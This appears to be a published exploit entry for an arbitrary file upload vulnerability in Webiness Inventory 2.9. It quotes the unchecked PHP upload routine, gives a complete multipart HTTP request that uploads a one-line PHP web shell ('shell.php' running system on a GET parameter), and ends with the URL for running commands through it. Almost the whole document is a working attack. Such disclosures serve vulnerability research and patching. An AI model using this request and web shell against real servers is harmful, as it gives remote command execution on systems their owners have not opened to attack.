120 lines
No EOL
4 KiB
Text
120 lines
No EOL
4 KiB
Text
# Exploit Title: Webiness Inventory 2.9 - Arbitrary File Upload
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# Date: 2018-10-27
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# Exploit Author: Boumediene KADDOUR
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# Unit: Algerie Telecom R&D Unit
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# Software Link: https://github.com/webiness/webiness_inventory
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# Version: 2.9<
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# Tested on: WAMP windows 10 x64
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# CVE: unknown
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# Vulnerable Code: https://github.com/webiness/webiness_inventory/blob/master/protected/library/ajax/WsSaveToModel.php
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46 foreach ($_FILES as $file) {
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47 $fileName = $file['name'];
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48 $fileTmp = $file['tmp_name'];
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49 $destDir = WsROOT.'/runtime/'.$model;
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50
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51 $field = key($_FILES);
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52
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53 // files are upload to "runtime" directory create destination directory
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54 // if not exist
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55 if (!file_exists($destDir)) {
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56 mkdir($destDir, 0777, true);
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57 }
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58
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59 // allowed file size is 3MB
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60 if ($file['size'] > 3145728) {
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61 continue;
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62 }
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63
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64 // remove old file with same name
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65 if (file_exists($destDir.'/'.$fileName)) {
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66 unlink($destDir.'/'.$fileName);
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67 }
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68
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69 // upload file
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70 move_uploaded_file($fileTmp, $destDir.'/'.$fileName);
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71 $m->$field= $fileName;
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72 }
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# Proof Of Concept
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POST /webiness_inventory-2.3/protected/library/ajax/WsSaveToModel.php HTTP/1.1
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Host: 172.16.122.4
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Content-Length: 1838
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Accept: */*
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Origin: http://172.16.122.4
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X-Requested-With: XMLHttpRequest
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUOOyIF2f26nDrsM7
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Referer: http://172.16.122.4/webiness_inventory-2.3/index.php?request=partners/index/
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Accept-Encoding: gzip, deflate
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Accept-Language: en-US,en;q=0.9,fr;q=0.8,fr-FR;q=0.7
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Cookie: resolve_ids=0; order_dir_list_by=1A; _csrf=b49cff27d7c0ccd3a8dd5af3813025249dc909f2a20c12efcb7770f945715b06a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%224dWxR4kKmI-ZSWJBsigl0tHhdecVhozc%22%3B%7D; language=32d49278f28c78229de164fe79dc13b6adb3c98af2d133240eb1ffc44771ad3da%3A2%3A%7Bi%3A0%3Bs%3A8%3A%22language%22%3Bi%3A1%3Bs%3A2%3A%22en%22%3B%7D; PHPSESSID=h66id6epvp8g1uoshrdog53323
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Connection: close
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------WebKitFormBoundaryUOOyIF2f26nDrsM7
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Content-Disposition: form-data; name="model_name"
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PartnerModel
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------WebKitFormBoundaryUOOyIF2f26nDrsM7
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Content-Disposition: form-data; name="id"
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2
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------WebKitFormBoundaryUOOyIF2f26nDrsM7
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Content-Disposition: form-data; name="partner_name"
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My crucial Partner
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------WebKitFormBoundaryUOOyIF2f26nDrsM7
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Content-Disposition: form-data; name="logo"; filename="shell.php"
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Content-Type: application/octet-stream
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<?php system($_GET['cmd']);?>
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------WebKitFormBoundaryUOOyIF2f26nDrsM7
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Content-Disposition: form-data; name="id_number"
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25
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------WebKitFormBoundaryUOOyIF2f26nDrsM7
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Content-Disposition: form-data; name="tax_number"
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225588664477
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------WebKitFormBoundaryUOOyIF2f26nDrsM7
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Content-Disposition: form-data; name="iban"
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------WebKitFormBoundaryUOOyIF2f26nDrsM7
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Content-Disposition: form-data; name="address1"
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------WebKitFormBoundaryUOOyIF2f26nDrsM7
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Content-Disposition: form-data; name="address2"
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------WebKitFormBoundaryUOOyIF2f26nDrsM7
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Content-Disposition: form-data; name="region_state"
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------WebKitFormBoundaryUOOyIF2f26nDrsM7
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Content-Disposition: form-data; name="zip"
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------WebKitFormBoundaryUOOyIF2f26nDrsM7
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Content-Disposition: form-data; name="city"
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------WebKitFormBoundaryUOOyIF2f26nDrsM7
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Content-Disposition: form-data; name="country"
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------WebKitFormBoundaryUOOyIF2f26nDrsM7
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Content-Disposition: form-data; name="email"
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------WebKitFormBoundaryUOOyIF2f26nDrsM7
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Content-Disposition: form-data; name="web"
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------WebKitFormBoundaryUOOyIF2f26nDrsM7
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Content-Disposition: form-data; name="phone_number"
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------WebKitFormBoundaryUOOyIF2f26nDrsM7
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Content-Disposition: form-data; name=""
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------WebKitFormBoundaryUOOyIF2f26nDrsM7
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Content-Disposition: form-data; name=""
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------WebKitFormBoundaryUOOyIF2f26nDrsM7--
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# Access your webshell via the below link
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http://172.16.122.4/webiness_inventory-2.3/runtime/PartnerModel/shell.php?cmd=whoami |